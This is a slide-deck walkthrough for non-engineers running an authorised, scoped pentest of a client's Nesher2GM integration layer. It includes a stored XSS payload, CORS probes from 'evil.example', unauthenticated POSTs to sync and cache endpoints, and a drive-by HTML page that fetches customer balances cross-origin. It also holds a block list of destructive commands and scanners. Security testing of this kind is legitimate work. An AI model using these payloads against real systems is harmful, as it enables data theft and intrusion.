πŸ”’ Protected Document

Nesher2GM Pentest Operator Guide
Enter password to continue.

 
Black-Box Pentest Β· Operator Edition

Nesher2GM
Pentest Walkthrough

A step-by-step guide for non-engineers.
Take it slow. Don't skip steps. Stop if anything breaks.

Estimated time: 2–3 hours Β· 24 slides

Target: the client-built integration layer (C:\Nesher2GM\) β€” NOT the Neswin commercial software.

Scope

What we are & aren't testing

βœ… IN SCOPE β€” the client's code

The integration layer your team built on top of Neswin:

  • backend.py β€” FastAPI server
  • parser.py β€” DBF reader
  • bridge.py β€” sends to GarageMaster
  • garageflow_sync.py β€” sends to GarageFlow
  • web/app.js β€” dashboard UI
  • nesher_cache.db β€” local cache

Lives under C:\Nesher2GM\

❌ OUT OF SCOPE β€” Neswin commercial SW

Neswin is a 3rd-party product. We never attack it.

We only use it as a data source: in step B5 we set one test customer name through the normal Neswin UI, just to see how the client's dashboard handles the data on the way out.

If a finding turns out to be in Neswin itself, we stop and report it to its vendor β€” we do not pen-test it.

⚠ Read First

Before you do anything…

πŸ›‘ STOP if any of these happen

  • The Nesher2GM dashboard stops loading.
  • You see 500 Internal Server Error over and over.
  • The application crashes or restarts on its own.
  • You typed something and you're not sure what it did.

What to do: screenshot it, write down the step #, send to the engineer, and wait.

Golden rule: copy-paste exactly. Replace only the parts inside <angle-brackets>.

❌ Never type these

If a command contains any of these words and it isn't on a slide in this deck, do not run it.

Forbidden words

  • DROP
  • DELETE (in SQL)
  • rm / Remove-Item
  • format
  • shutdown / reboot

Forbidden tools

  • sqlmap
  • nikto
  • nuclei
  • Burp / ZAP Active Scan
  • Anything labelled "aggressive scan"

These can corrupt data, lock accounts, or take the system offline. The engineer will run them later in a controlled environment.

🧰 What you need

Two laptops. Almost everything is already installed.

Computer-A Β· Nesher2GM workstation

Nothing to install. All built-in or already there:

  • PowerShell (built-in)
  • curl.exe (built-in, Win 10+)
  • Python 3.14 (already installed for the app)
  • git (already installed for the app)

Computer-B Β· any 2nd laptop on the same Wi-Fi

Install once (~5 min):

  • Chrome (latest) β€” likely already there
  • Python 3.10+ β†’ python.org/downloads Β· βœ… tick "Add to PATH"
Also write downHow
IPv4 of Computer-AOn Computer-A: ipconfig β†’ IPv4 line
Folder C:\pentest-evidence\ on bothRight-click C:\ β†’ New β†’ Folder

βœ… Snapshot first!

VM β†’ take a snapshot. Physical β†’ copy C:\Nesher2GM\ to an external drive. Don't skip this.

🟒 30-second check

Pre-flight check

On Computer-A, paste this into PowerShell. All five lines must succeed.

py -3.14 --version
curl --version
git --version
Test-Path C:\Nesher2GM\backend.py
Test-Path C:\Nesher2GM\bridge.log

βœ… Ready

Versions print. Both Test-Path return True.

❌ Stop

Any line errors or returns False β†’ email the engineer before continuing.

On Computer-B, also confirm Python:

python --version

If Python isn't found, install it from python.org (tick Add Python to PATH during install) before going further.

🟒 Safe

Step 0 Β· Make a backup

On Computer-A, open PowerShell as Administrator (Windows key β†’ type powershell β†’ right-click β†’ Run as Administrator).

$stamp = Get-Date -Format yyyyMMdd-HHmm
Copy-Item -Path C:\Nesher2GM `
          -Destination "C:\Nesher2GM-BACKUP-$stamp" `
          -Recurse -Force
Write-Host "Backup done at C:\Nesher2GM-BACKUP-$stamp"

Wait until you see "Backup done". Then open File Explorer β†’ confirm the new folder exists. Do not continue until you see it.

🟒 Safe

Step 0.5 Β· Evidence folder

Every step writes proof here. The engineer will read it later.

New-Item -ItemType Directory -Path C:\pentest-evidence -Force | Out-Null
cd C:\pentest-evidence

From now on: every command saves output to C:\pentest-evidence\. If a command fails to write a file, stop and ask the engineer.

🟒 Read-Only

Section A
Recon

Look at the system. Don't change it.
6 commands Β· about 5 minutes.

A1 Β· Is the app exposed? P0-1

Run on Computer-A in PowerShell:

New-Item -ItemType Directory -Path C:\pentest-evidence\A-recon -Force | Out-Null
cd C:\pentest-evidence\A-recon
netstat -an | Select-String ":8000" | Tee-Object -FilePath A1-netstat.txt

βœ… Good

You only see 127.0.0.1:8000

❌ Finding

You see 0.0.0.0:8000 β†’ P0-1 confirmed. Tick the box, move on.

A2 Β· API surface

Pull the list of every endpoint, plus check if Swagger UI is exposed.

curl http://localhost:8000/openapi.json -o A2-openapi.json
curl -I http://localhost:8000/docs | Tee-Object -FilePath A3-docs-headers.txt

βœ… Good

/docs returns 404

⚠ Finding

200 OK β†’ Swagger UI exposed. Note it.

A3 Β· File permissions

Are the secret files readable by anyone? Run all 3:

icacls C:\Nesher2GM\bridge_config.json     | Tee-Object A4-acl-bridge.txt
icacls C:\Nesher2GM\garageflow_config.json | Tee-Object A4-acl-garageflow.txt
icacls C:\Nesher2GM\nesher_cache.db        | Tee-Object A4-acl-cache.txt

βœ… Good

Only BUILTIN\Administrators and your user listed.

❌ Finding

Everyone or Users appears β†’ P1.

A4 Β· Tasks & disk encryption

schtasks /query /tn Nesher2GM_Bridge  /v /fo LIST | Tee-Object A5-task-bridge.txt
schtasks /query /tn Nesher2GM_Backend /v /fo LIST | Tee-Object A5-task-backend.txt
manage-bde -status C:                              | Tee-Object A6-bitlocker.txt

Just save the output. The engineer reviews it.

βœ… Section A complete

Take a quick look in C:\pentest-evidence\A-recon\ β€” you should see 7 text/JSON files.

🟑 Some steps leave a trace

Section B
Confirm the 4 P0s

The four critical findings.
Some steps run on Computer-B.

B1 Β· Reach it from another laptop P0-1

On Computer-B, open Chrome and visit:

http://<Computer-A-IP>:8000/api/today

βœ… Good

"Site can't be reached" / refused.

❌ Finding

JSON data appears β†’ P0-1 confirmed. Screenshot the page.

Save screenshot as C:\pentest-evidence\B1-lan-binding.png on Computer-B.

B2 Β· CORS check P0-2

On Computer-A PowerShell:

curl -I -H "Origin: https://evil.example" `
  http://localhost:8000/api/customers/top `
  | Tee-Object C:\pentest-evidence\B2-cors.txt

Open the file. Look for these two header lines in the output:

Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: https://evil.example

If either appears β†’ P0-2 confirmed. If neither appears β†’ safe.

B3 Β· Anonymous /api/sync P0-3

🟑 This triggers a real sync β€” the system does this routinely; no harm.

curl -X POST -H "Origin: https://evil.example" `
  http://localhost:8000/api/sync `
  | Tee-Object C:\pentest-evidence\B3-sync.txt

βœ… Good

401 or 403

❌ Finding

200 + sync starts β†’ P0-3 confirmed

B4 Β· Cache clear P0-4

🟑 Clears a cache. The system rebuilds it automatically β€” no permanent damage.

curl -X POST -H "Origin: https://evil.example" `
  http://localhost:8000/api/cache/clear `
  | Tee-Object C:\pentest-evidence\B4-cacheclear.txt

βœ… Good

401 / 403

❌ Finding

200 β†’ P0-4 confirmed

Reload the dashboard afterwards β€” items will reload from scratch. Normal.

B5 Β· Stored XSS P0-5

🟑 Leaves a trace. Cleanup required at the end.

What we're testing: the client's web/app.js dashboard. The bug (if any) is that it doesn't sanitize incoming strings. Neswin is just the easiest place to put a string in. We are not testing Neswin.

  1. Open Neswin normally β€” same way the staff use it every day.
  2. Pick a test customer (NEVER a real one).
  3. Change the customer name to exactly:
    "><img src=x onerror=alert('XSS-TEST-2026')>
  4. Save in Neswin β†’ wait for next sync (or run B3 again).
  5. Open Nesher2GM dashboard in Chrome.

βœ… Good

Text shows literally on screen.

❌ Finding

Popup with XSS-TEST-2026 β†’ P0-5 confirmed

🧹 Cleanup

Restore the original customer name in Neswin and re-sync. Confirm popup is gone before moving on.

B6 Β· Drive-by exfiltration P0-6

Run only if both B1 and B2 confirmed. On Computer-B:

1. Create folder C:\evil. Inside, save this as index.html:

<!doctype html><html><body><pre id="o">running...</pre>
<script>
fetch('http://<Computer-A-IP>:8000/api/customer_balances',{credentials:'include'})
 .then(r=>r.text())
 .then(t=>document.getElementById('o').innerText='GOT '+t.length+' bytes:\n'+t.substring(0,500))
 .catch(e=>document.getElementById('o').innerText='BLOCKED: '+e);
</script></body></html>

2. PowerShell:

cd C:\evil
py -3.14 -m http.server 8000

3. Chrome β†’ http://localhost:8000/index.html β†’ press F12 β†’ Console tab.

If you see "GOT NNN bytes" with real customer balance JSON β†’ P0-6 confirmed. Screenshot and stop the server (Ctrl+C).

🟒 Read-Only

Section C Β· Medium findings (P1)

Run on Computer-A. All read-only.

New-Item -ItemType Directory -Path C:\pentest-evidence\C-p1 -Force | Out-Null
cd C:\pentest-evidence\C-p1

# C1 β€” PII / secrets in bridge.log
findstr /I "phone invoice vendor secret token password api_key Authorization @" `
  C:\Nesher2GM\bridge.log | Tee-Object C1-bridge-pii.txt

# C2 β€” same for garageflow_sync.log
findstr /I "phone invoice vendor secret token password api_key Authorization @" `
  C:\Nesher2GM\garageflow_sync.log | Tee-Object C2-garageflow-pii.txt

# C3 β€” bulk export rate-limit (10 reqs in <1s)
1..10 | ForEach-Object { curl http://localhost:8000/api/export/customers.xlsx `
  -o ("export-"+$_+".xlsx") -s -w "%{http_code}`n" } | Tee-Object C3-rate.txt

# C4 β€” dependency CVE scan
py -3.14 -m pip install --quiet pip-audit
py -3.14 -m pip_audit | Tee-Object C4-pip-audit.txt

Important: redact phone numbers, real names, and tokens with XXXX in the log files before sending.

🟒 Read-Only

Section D Β· Low / hardening (P2)

New-Item -ItemType Directory -Path C:\pentest-evidence\D-p2 -Force | Out-Null
cd C:\pentest-evidence\D-p2

# D1 β€” License compliance
py -3.14 -m pip install --quiet pip-licenses
py -3.14 -m piplicenses --format=markdown --with-urls | Tee-Object D1-licenses.md

# D2 β€” Outdated packages
py -3.14 -m pip list --outdated | Tee-Object D2-outdated.txt

# D3 β€” Secrets git-ignored?
cd C:\Nesher2GM
git check-ignore bridge_config.json garageflow_config.json nesher_cache.db `
  | Tee-Object C:\pentest-evidence\D-p2\D3-gitignore.txt

# D4 β€” Browser-side secrets in app.js?
findstr /I /N "token secret api_key password bearer" C:\Nesher2GM\web\app.js `
  | Tee-Object C:\pentest-evidence\D-p2\D4-jsleak.txt
🟒 Final

πŸ“¦ Package & send

Compress-Archive -Path C:\pentest-evidence\* `
  -DestinationPath ("C:\pentest-evidence-"+(Get-Date -Format yyyyMMdd-HHmm)+".zip") -Force

Email the .zip to the engineer with one line per step:

🧹 Don't forget the cleanup

β€’ Restore the test customer name in Neswin (B5).
β€’ Stop the Python server on Computer-B (Ctrl+C).
β€’ Delete C:\evil on Computer-B.

🚨

If something went wrong

  1. Stop the current step.
  2. Take a screenshot of the error.
  3. Email the engineer with: step ID, command typed, error text, time.
  4. Wait for reply before continuing.
  5. Worst case: restore from C:\Nesher2GM-BACKUP-....

You did the right thing by running the test. Reporting an issue is not a failure β€” it's the goal.

1 / 24
← Swipe to navigate β†’